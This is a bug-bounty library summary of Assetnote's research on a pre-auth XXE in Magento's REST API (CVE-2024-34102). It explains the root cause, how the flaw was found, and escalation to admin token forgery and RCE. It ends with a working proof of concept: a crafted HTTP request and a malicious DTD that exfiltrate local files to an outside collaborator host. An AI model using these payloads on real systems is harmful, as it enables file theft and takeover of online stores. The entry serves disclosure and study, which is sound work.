# Why nested deserialization is harmful: Magento XXE (CVE-2024-34102)

Pre-auth nested deserialization in Magento's REST estimate-shipping-methods endpoint reaches SimpleXMLElement sourceData, enabling XXE to exfiltrate env.php crypto keys.

- Payout: Research
- Severity: critical
- Program: Adobe
- Write-up by: Assetnote
- Disclosed: 2025-02-12
- CVE: CVE-2024-34102
- Write-up quality: 8/10
- Original: https://www.assetnote.io/resources/research/why-nested-deserialization-is-harmful-magento-xxe-cve-2024-34102
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-why-nested-deserialization-is-harmful-magento-xxe-cve-2024-34102
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:research sev:critical tech:php technique:chained technique:incomplete-fix technique:source-review vuln:deserialization vuln:xxe

**Target:** Magento REST API /rest/all/V1/guest-carts/*/estimate-shipping-methods
**Root cause:** Magento's ServiceInputProcessor recursively instantiates constructor/setter types from JSON, letting attacker-controlled nested objects reach SimpleXMLElement with controllable sourceData and options, loading external XML entities.
**Steps:**
1. Diff magento2-2.4.7 vs 2.4.7-p1 to spot SimpleXMLElement/sourceData changes
2. Grep for `Simplexml\Element.*sourceData` to find sinks like Quote Address Total Collector
3. Add `var_dump($parameters)` in ServiceInputProcessor::getConstructorData to enumerate reachable constructor params
4. POST to `/rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods` with nested `address.totalsReader.collectorList.totalCollector.sourceData` containing XML with external DTD and `options:16`
5. Host DTD: `<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">` and `<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://collab/dtd.xml?%data;'>">`
6. Observe OAST callback with base64 file contents
**How found:** Advisory had no PoC; diffed patched vs unpatched packages to spot SimpleXMLElement/sourceData changes, combined with SanSec/Sergey hotfix hints (dataIsURL, sourceData), then instrumented ServiceInputProcessor with var_dump to map reachable constructor params and iterated payloads against pre-auth REST endpoints.
**Exploitation:** Unauthenticated attacker sends crafted JSON to guest-cart estimate-shipping-methods; nested deserialization instantiates SimpleXMLElement with attacker XML and options=16 (LIBXML_NOENT|DTDLOAD), causing external DTD fetch and exfiltration of local files like app/etc/env.php to attacker server.
**Escalation:** Exfiltrated env.php crypt key allows forging admin JWT to abuse APIs as admin; chainable with PHP filter chains (CVE-2024-2961) for RCE.
**Insight:** When a framework auto-instantiates nested types from JSON, instrument the deserializer (var_dump constructor params) to enumerate reachable classes, then hunt for sinks like SimpleXMLElement whose constructor args (sourceData, options) are attacker-controllable.

## Proof of concept (copied exactly from the original report)

**XXE payload via nested sourceData deserialization**

```
POST /rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods HTTP/2
Host: example.com
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Content-Type: application/json
Content-Length: 274

{
  "address": {
    "totalsReader": {
      "collectorList": {
        "totalCollector": {
          "sourceData": {
            "data": "<?xml version=\"1.0\" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM \"http://your_ip:9999/dtd.xml\"> %sp; %param1; ]> <r>&exfil;</r>",
            "options": 16
          }
        }
      }
    }
  }
}
```

**Malicious DTD exfiltrating local file**

```
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://collabid.oastify.com/dtd.xml?%data;'>
```

